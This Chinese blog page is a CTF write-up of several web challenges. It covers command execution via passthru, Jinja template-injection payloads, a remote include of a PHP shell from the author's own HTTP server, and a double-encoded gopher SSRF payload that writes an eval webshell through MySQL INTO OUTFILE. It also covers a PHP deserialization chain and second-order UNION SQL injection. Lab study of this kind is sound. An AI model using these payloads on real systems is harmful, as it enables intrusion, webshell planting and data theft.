当前位置: 首页 > article >正文

云曦26开学考复现

hello_rce查看当前目录print_r(scandir(.));print_r(scandir(dirname(__FILE__)));查看flag文件call_user_func(passthru,base64${IFS}flag);call_user_func(passthru,tac${IFS}flag);新东西输入:{{lipsum.globals.os.popen(‘ls’).read()}}输入{{lipsum.globals.os.popen(‘ls /’).read()}}输入{{lipsum.globals.os.popen(‘cat /flag’).read()}}让我看看连接肉机ssh root172.16.17.201 -p 50101打开心怡的文件夹echo ‘?php phpinfo() ?’ shellifconfig或ip add查到内网中本机ip是172.1.1.9用python打开9000端口python3 -m http.server 9000尝试远程包含ip转十六进制172.1.1.9-0xac010109包含文件http://0xac010109:9000/ashell网页源码查看器输入dict://127.0.0.1:6379/infofile:///var/www/html/index.php都被过滤了输入127.0.0.1扫网站访问/internal.php输入127.0.0.1/internal.php和/db.phpdb.php似乎可以用创建html文件似乎可以用这个和sql数据库交流得到MYSQL的信息发送gopher://127.0.0.1:3306/_a返回报错说明gopher协议有戏bp抓包输入payloadgopher%3a//127.0.0.1%3a80/_POST%2520/db.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252074%250D%250A%250D%250Asql%253Dselect%2520’%253C%253Fphp%2520%2540eval(%2524_POST%255B8%255D)%253B%253F%253E’%2520INTO%2520OUTFILE%2520’%252Fvar%252Fwww%252Fhtml%252F10.php’%250D%250A这个payload被进行了两次url编码原本的包gopher://127.0.0.1:80/_POST /db.php HTTP/1.1 Host:127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length:74sqlselect?php eval($_POST[8]);?INTO OUTFILE/var/www/html/10.php第一次编码后gopher://127.0.0.1:80/_POST%20/db.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2074%0D%0A%0D%0Asql%3Dselect%20%3C%3Fphp%20%40eval(%24_POST%5B8%5D)%3B%3F%3E%20INTO%20OUTFILE%20%2Fvar%2Fwww%2Fhtml%2F10.php%0D%0A再编码一次得到目标payload原因第一次URL将URL中的特殊字符进行转义以便于传输和解析。第二次编码是为了让Gopher协议能够正常解析因为Gopher协议使用的ASCII编码。需要将URL中的所有字符都转换为ASCII码的可打印字符才能被Gopher协议正确解析。直接10.php连接蚁剑你已急哭?phperror_reporting(0);highlight_file(__FILE__);classEntry{public$handler;publicfunction__destruct(){if(isset($this-handler)){echo你已急哭;$result$this-handler-handle();echo$result;}}}classProcessor{public$callback;public$argument;publicfunctionhandle(){if(is_object($this-callback)){echo哟不错嘛;$result($this-callback)($this-argument);return$result;}echoProcessor::handle() callback不是对象!;returnInvalid handler!;}}classFileReader{public$filename;publicfunction__invoke($arg){echo加油啊终点就在前方了!;if($this-filename/f1ag.php){echo666这还说啥了flag给你了。;$flaggetenv(FLAG);echoFlag: .$flag.;return;}elseif(file_exists($this-filename)){echo文件存在但不是目标文件...;returnfile_get_contents($this-filename);}echo文件不存在!;returnFile not found!;}}classLogger{public$logfile;public$content;publicfunction__toString(){returnLogger output!;}publicfunctionhandle(){returnLogger handler!;}}if(isset($_GET[data])){$data$_GET[data];if(strlen($data)1000){die([-] Payload太长!);}unserialize($data);}else{echo提交方式: ?data你的payload;}//Hint: 目标文件路径是 /f1ag.phpEntry 类__destruct() 魔术方法对象销毁时自动调用检查 $this-handler 是否存在存在则调用 $this-handler-handle()Processor 类handle() 方法检查this−callback是否为对象如果是则将其作为函数调用(this-callback 是否为对象如果是则将其作为函数调用 (this−callback是否为对象如果是则将其作为函数调用(this-callback)($this-argument)FileReader 类__invoke() 魔术方法对象被当作函数调用时触发关键逻辑如果 $this-filename “/f1ag.php”则输出环境变量 FLAGLogger 类干扰类没有利用价值思路销毁unserialize($data);触发__destruct()$handlerProcessor$result$this-handler-handle();echo$result;对象被当函数调用调用handle()$callbackFileReader;$argumentnull$result($this-callback)($this-argument);return$result;调用FileReader()触发__invoke($arg)关键在于$filename/f1ag.php,所以arg是什么不重要?dataO:5:“Entry”:1:{s:7:“handler”;O:9:“Processor”:2:{s:8:“callback”;O:10:“FileReader”:1:{s:8:“filename”;s:9:“/f1ag.php”;};s:8:“argument”;s:3:“arg”;}}?dataO%3A5%3A%22Entry%22%3A1%3A%7Bs%3A7%3A%22handler%22%3BO%3A9%3A%22Processor%22%3A2%3A%7Bs%3A8%3A%22callback%22%3BO%3A10%3A%22FileReader%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A9%3A%22%2Ff1ag.php%22%3B%7D%3Bs%3A8%3A%22argument%22%3Bs%3A3%3A%22arg%22%3B%7D%7DShadow Archive System创建username:1’Bio:1’ID查看3报错说明二次注入有戏创建Username: 1’ select 1,2,3#Bio: 123并访问创建Username: 1’ union select 1,2#Bio: 123并查询确定列数创建并打开Username: 1’ union select 1,2,database()#Bio: 123创建并打开Username: 1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema like database()#Bio: 123创建并打开Username: 1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name like ‘flags’#Bio: 123创建并打开Username: 1’ union select 1,2,group_concat(flag) from ctf.flags#Bio: 123

相关文章:

云曦26开学考复现

hello_rce查看当前目录: print_r(scandir(.)); print_r(scandir(dirname(__FILE__)));查看flag文件: call_user_func(passthru,base64${IFS}flag); call_user_func(passthru,tac${IFS}flag);新东西输入: {{lipsum.globals.os.popen(‘ls’).read()}}输入…...

90%的AI创业BP被VC秒删,因为创始人犯了同一个致命错误

大多数AI创始人花大量时间在BP里堆砌技术参数、模型架构和宏大愿景,以为这样就能显得专业。 结果发出去后,99%石沉大海。 其实VC每天处理几十份BP,用的是最残酷的「排除法」。你的BP很可能前30秒就被扔进垃圾桶。 真正决定AI项目生死的是6个评…...

检索大赛 实验3 豆包实验结果

根据对提供文献的核实,以下是真实存在的文献判断结果:1. **《RealVul: Can We Detect Vulnerabilities in Web Applications with LLM?》** - **真实性**:**存疑** - 理由:EMNLP 2024尚未召开(通常会议论文接收列表会…...

从仿真到综合:组合逻辑环的那些坑(附避坑指南)

从仿真到综合:组合逻辑环的那些坑(附避坑指南) 在数字电路设计中,组合逻辑环(Combinational Loop)是一个既常见又容易被忽视的问题。许多工程师第一次遇到这类警告时,往往会选择最简单的解决方案…...

【WebAssembly 】WebAssembly 组成部分详解(0~12 段 ID 详解)

WebAssembly 二进制文件由多个段(Section) 组成,每个段有唯一的 ID。本文详细介绍 ID 0-12 共 13 个标准段的完整结构。 一、文件整体结构 一个 .wasm 文件的结构如下: ------------------ 0x00 | 魔数 (4 字节) | \0asm ---…...

Win11 WSL2下CentOS9-Stream保姆级安装指南:从零配置到Docker实战

Win11 WSL2下CentOS9-Stream保姆级安装指南:从零配置到Docker实战 对于需要在Windows环境下进行Linux开发的用户来说,WSL2(Windows Subsystem for Linux 2)无疑是一个革命性的工具。它允许开发者在Windows系统上运行原生的Linux二…...

单细胞数据分析避坑指南:如何用Seurat V5搞定细胞周期矫正与双胞体过滤

单细胞数据分析避坑指南:如何用Seurat V5搞定细胞周期矫正与双胞体过滤 单细胞RNA测序技术正在彻底改变我们对复杂生物系统的理解能力。当您第一次拿到单细胞测序数据时,可能会被细胞周期效应和双胞体污染这两个"隐形杀手"所困扰——它们悄无声…...

OSM道路数据里的‘fclass’字段到底怎么用?一份给GIS新手的标签解读与筛选指南

OSM道路数据里的‘fclass’字段到底怎么用?一份给GIS新手的标签解读与筛选指南 当你第一次打开从OpenStreetMap下载的道路数据,面对属性表中密密麻麻的"fclass"字段分类,是不是感到一头雾水?作为GIS领域最常用的开源数据…...

光电经纬仪与AI:能捕获隐身战机的“最后一瞥”吗?

引言 在现代防空体系中,光电经纬仪作为一种高精度光学测量设备,一直扮演着“记录者”与“验证者”的角色。它能够以极高的精度测量空中目标的轨迹,并记录下清晰的光学图像。然而,当面对像F-35这样的第五代隐身战机时,…...

腾讯:揭示评估幻觉并构建知识驱动新范式

📖标题:Beyond the Illusion of Consensus: From Surface Heuristics to Knowledge-Grounded Evaluation in LLM-as-a-Judge 🌐来源:arXiv, 2603.11027v1 🌟摘要 LLM-as-a-judge的范式依赖于一个关键假设,即…...

【图形图像处理】之栅格化:从原理到实时渲染的引擎核心

1. 为什么游戏和VR离不开栅格化? 第一次接触栅格化这个概念时,我正试图在Unity里实现一个简单的3D场景。当时发现无论模型多复杂,最终显示在屏幕上的永远是由无数小像素组成的画面。这个将矢量图形转换为像素矩阵的过程,就是栅格化…...

科技伦理兜着岐金兰

科技伦理兜着岐金兰引言当前,人工智能技术的迅猛发展正深刻重塑着人类社会的权力结构和话语体系。在这一背景下,科技伦理作为调节技术发展与社会价值的重要机制,其话语建构过程本身就蕴含着复杂的权力博弈。岐金兰在其系列文章中敏锐地捕捉到…...

避坑指南:ESP32-S3 Flash加密后,如何用Flash下载工具重新烧录固件?

ESP32-S3 Flash加密后固件更新实战:Release模式下的救砖指南 当ESP32-S3芯片开启Flash加密(特别是Release模式)后,常规的固件烧录方法将完全失效。这给产品迭代和bug修复带来了巨大挑战。本文将深入剖析加密机制背后的原理&#x…...

美团:融合先验与稀疏采样的自适应基线

📖标题:V0.5:Generalist Value Model as a Prior for Sparse RL Rollouts 🌐来源:arXiv, 2603.10848v1 🌟摘要 在具有可验证奖励的强化学习(RLVR)中,构建稳健的优势基线对…...

ROS2 编译依赖缺失的排查与修复指南

1. ROS2编译依赖缺失的典型表现 第一次用ROS2编译功能包时,看到满屏红色报错确实容易懵。最常见的就是CMake哭着告诉你"找不到某某包",就像你去超市买酱油却发现货架空空如也。这种报错通常长这样: CMake Error at CMakeLists.txt:…...

记忆走私犯:倒卖富豪脑数据的暗网暴富术——软件测试从业者的技术警示与防御蓝图

脑数据走私的崛起与技术危机2026年初,暗网曝出富豪思维记录以每秒计价拍卖,单条记忆数据标价高达250万美元,这标志着脑数据走私已成为新型犯罪风口。脑机接口(BCI)技术的普及让神经数据成为“数字黄金”,但…...

Nunchaku FLUX.1 CustomV3效果展示:多角色互动场景中姿态/光影/透视一致性保障

Nunchaku FLUX.1 CustomV3效果展示:多角色互动场景中姿态/光影/透视一致性保障 1. 引言:当AI绘画遇上复杂场景 你有没有试过让AI画一张多个人物互动的图?比如两个人在咖啡馆聊天,或者一群朋友在公园里野餐。结果常常让人哭笑不得…...

如何通过Jar包快速集成工作流设计器?

1. 为什么需要Jar包集成工作流设计器? 在企业级应用开发中,工作流引擎就像交通信号灯控制系统。想象一下,如果没有红绿灯,城市交通会乱成什么样子?工作流引擎就是帮我们管理业务流程的"红绿灯系统"。 传统集…...

本科毕业论文写作效率革命:Paperzz 智能写作,让毕业创作告别熬夜内耗

Paperzz-AI官网免费论文查重复率AIGC检测/开题报告/文献综述/论文初稿paperzz - 毕业论文-AIGC论文检测-AI智能降重-ai智能写作https://www.paperzz.cc/dissertation 一、引言:当 AI 重构本科毕业论文写作,毕业季的效率壁垒被彻底打破 对于每一位本科毕…...

leetcode 1451. Rearrange Words in a Sentence 重新排列句子中的单词

Problem: 1451. Rearrange Words in a Sentence 重新排列句子中的单词 先抠出单词,然后按照题意排序,最后拼起来 Code class Solution { public:string arrangeWords(string text) {text ;int n text.size(), cnt 0, ind, start 0;string tg;char…...

全连接神经网络 , 详解 .

用矩阵形式理解全连接网络偏置矩阵:训练完成后,每个神经元的偏置项 b 会学习到一个具体的数值。这个数值的作用是控制神经元激活的“阈值”,或者说为模型的输出提供一个“基准线”。在线性变换 z Wx b 中,偏置 b 实现了对决策边界的平移&am…...

1.军用涡扇发动机本体结构与能量转换底层逻辑

本文 100% 遵循全球航空工程通用标准、国内 GJB 国军标规范,所有术语、定义、流程逻辑、参数均符合现役军用加力式涡扇发动机的设计、使用与维护标准。要理解全流程工作原理,首先要明确发动机的核心结构与能量转换的本质,所有工况、系统、控制…...

密码学实战:如何利用生日攻击破解数字签名

1. 从生日悖论到数字签名攻击 我第一次听说生日攻击这个概念时,感觉特别有意思。想象一下,如果一个教室里只有23个人,那么其中两个人生日相同的概率就超过50%。这个反直觉的现象就是著名的生日悖论,而它在密码学领域有着惊人的应用…...

linux中从零开始,将OpenClaw 接入 QQ 机器人

Linux 从零开始:将 OpenClaw 接入 QQ 机器人 本文提供完整的 OpenClaw 安装和 QQ 机器人接入指南,适用于 Debian 12 系统,模型使用华为云提供MAAS 📋 目录 系统准备安装 OpenClaw配置 QQ 机器人测试与验证常见问题 &#x1f680…...

OpenClaw+GLM-4.7-Flash自动化数据处理:Excel报表生成实例

OpenClawGLM-4.7-Flash自动化数据处理:Excel报表生成实例 1. 为什么选择这个工具组合 上周处理季度销售数据时,我经历了从多个渠道手动收集数据、清洗格式、计算指标再到生成可视化报表的全过程。这种重复性工作不仅耗时,还容易在复制粘贴时…...

OpenClaw 刚启动就挂了?别急,八成是你的环境变量没弄对!

刚折腾完 OpenClaw 正打算爽一把,结果控制台直接蹦出一堆红字 Error: Configuration failed?或者好不容易跑起来了,一问大模型就回你 Missing API Key?先稳住!根据 2026 年的最新反馈,十个启动失败的里有九…...

jsontop.cn 深度测评:从 JSON 格式化到全能工具集,开发者的效率革命

在开发者的日常工作中,「琐碎的小需求」往往会占据大量的时间:比如接口返回的 JSON 数据杂乱无章,需要格式化才能查看;比如需要将文本转换为 Base64 编码,却要临时找在线工具;比如编写了正则表达式&#xf…...

Python基于深度学习的声音识别青少年防沉迷系统【附源码、文档说明】

博主介绍:✌Java老徐、7年大厂程序员经历。全网粉丝12w、csdn博客专家、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ 🍅文末获取源码联系🍅 👇🏻 精彩专栏推荐订阅👇&…...

Linux 数据链路层

1.数据链路层的作用简单来说。TCP协议实现的是数据传输的可靠性,IP协议实现的是数据能跨主机送达目标主机的能力,数据链路层保证相邻的两台设备进行数据交互的问题。2.以太网以太网的帧格式如下所示:目的地址和源地址都是 mac 地址&#xff0…...

【鸿蒙PC命令行移植适配】rsync 三方库鸿蒙化适配后在鸿蒙PC运行的完整实践

欢迎加入 开源鸿蒙跨平台开发者社区,与大家一起共建鸿蒙化 C/C 三方库生态。 1. 前言 本教程面向 C/C 开发者,带你完成 rsync 三方库的鸿蒙平台适配,并能够在鸿蒙PC上进行验证。 通过本教程,你将掌握: 使用 lycium…...